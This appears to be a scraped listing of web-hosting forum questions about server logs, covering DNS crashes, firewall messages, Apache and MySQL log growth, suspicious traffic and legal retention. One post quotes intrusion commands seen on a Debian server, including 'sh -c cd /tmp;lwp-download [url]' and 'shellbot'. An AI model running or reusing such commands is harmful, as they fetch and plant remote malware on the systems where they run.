Which Logs To Check If Dns Crashes
Mar 30, 2008I have a VPS and almost once per day PIM has to restart the DNS service. I think it is because of the high volume of sites on it.
Could someone point me to which log files I could have a look at and maybe get a clue why it crashes?

Apf Logs
Jan 16, 2008I just got an email from my vps saying that a BFD attack was stopped and the ip was banned after 40 failed attempts of logging into ftpdpro. I logged in and started looking around and I noticed that in my apf log file there was:
Code:

My concern is that it says "unable to load iptables module (ip_tables), aborting.

Dec 7, 2008is there anything that logs server load and what processes have caused any spikes?
one of my servers keeps going down under high load, well it seems to lock up and the noc has to reboot, but ofcourse the techs can't diagnose a problem after as it runs fine and when i send them a ticket it's because the server can't be reached at all and then they can't diagnose it either
Never Before Seen In My Httpd Logs
Apr 16, 2009I moved a domain of mine from one of my CentOS servers on my SoHo LAN, to one of my CentOS cPanel/WHM servers. Since the SoHo machine had been handling this domain's mail for almost 2 years (300+ mb of mail), I decided to continue running it from home.
The Apache daemon was stopped on said SoHo box following DNS propagation to the cPanel machine, but Apache was automatically started again after having to reboot the SoHo server. Before I got a chance to kill Apache, I got some weird entries showin' up in the access_logs.

I guess I'm just a little confused as to what was trying to be accomplished here...it hasn't returned since.

View 2 Replies View RelatedWhere Should I Keep My Error Logs
Mar 30, 2008I have recently started a forum and am wondering where I should locate the error logs for such things as database backups and failed admin panel login attempts.
There is the public_html folder, but I'm concerned that Anything contained within this folder is accessible to prying eyes. Is this true?
I have also heard of directory traversal, which I imagine could fall under the same category.
Would I perhaps be best off creating a folder outside of public_html for the holding of these valuable 'targets'?
What would I best to do to secure my server in this regard? It would have to be writeable for the system to be operational.

System Logs
Jul 26, 2007I keep receiving hacking attempts from someone accessing my server and running commands like these:
Code:
hubberfix
sh -c cd /tmp;lwp-download [url]
shellbot
I cannot find any logs with these attempts. Or at least any with info like an IP address or host doing this.
Not to sound like a noob, but where can I find logs that would tell me all the commands run on my system? FYI, I'm running Debian Sarge, and I looked in "/var/log" and I can't find much of anything.

View 2 Replies View RelatedMySQL Bin Logs
Nov 19, 2007I just have a quick question for the experts here regarding the bin logs that MySQL generates. I have Googled around, tried to understand these logs, and from what I gather, it is a good idea to leave on if you want to do replication in case something happens, or if you have a slave or backup drive and you want to replicate to it.
So, these things seem like a good thing to have. My question is though, do they HAVE to stay there now? I unknowingly enabled these back in May on my CentOS server when I used and then tweaked the my-huge conf file, and there they are ever since. Currently they're sucking down 30GB of my hard disk and it's only 80GB.
It would be good if I could just take say, all the ones that haven't been modified for at least a month or so (there are 30 of them, most of them are stopped at 1GB I believe, that's how it splits them up.) Is moving those to another hard disk say, my 500GB one, an OK thing to do?
It won't affect my currently running MySQL data, right? And the bin logs will still be useful?
Does this bin log make MySQL slower?

Huge Apache Logs
Feb 3, 2008I'm sure this question has been asked before, but I'm looking for a nice and simply way of breaking up log files into smaller chunks.
I've been running apache2 on a VPS for the past few months and one of the access.log files is now 700mb big... bit of a waste of space. I'm currently just doing:
CustomLog /var/www/logs/domain.com/access.log combined
ErrorLog /var/www/logs/domain.com/error.log
In my apache config.
Is there any easy way of telling apache to just keep the last week or months worth of logs?

Suspicious Web Logs. Is This An Attack
Jun 17, 2008I am an administrator/developer for a website and we are using Awstats to get the usage statistics. Lately we are getting hits from a bunch of IP Addresses which differ only in the Host ID part.
For example:
Here are the logs
Address-------Page Views----------Last visit
64.12.116.209----25------------17 Jun 2008 12:22

64.12.117.207----17------------17 Jun 2008 12:07
..
...
Notice how most of the IP addresses are 64.12.116.xxx or 64.12.117.yyy. Similarly I found addresses matching 65.55.109.zzz and a bunch more.
This is making me wonder if this is some kind of an attack (Especially since Awstats seems to say that the hosts list does not include the IP addresses of spiders/crawlers/bots)? We are concerned. Please advise.
The above Hosts List (sorted by Last Visit) was generated by using Awstats our website logs.
Are Logs Legally Essential
Feb 24, 2008I am just about to launch a new service but needed to know if logs are legally necessary - i.e. is there a law saying if I offer access to a server I am legally required to hold logs of all activity?
The service itself is all above board so there is no question from the business side.
All I will record is a log in name and associated IP to ensure that one account is not being accessed by hundreds of different people!
Thought I would try to get this clear in my head before going ahead and launching!
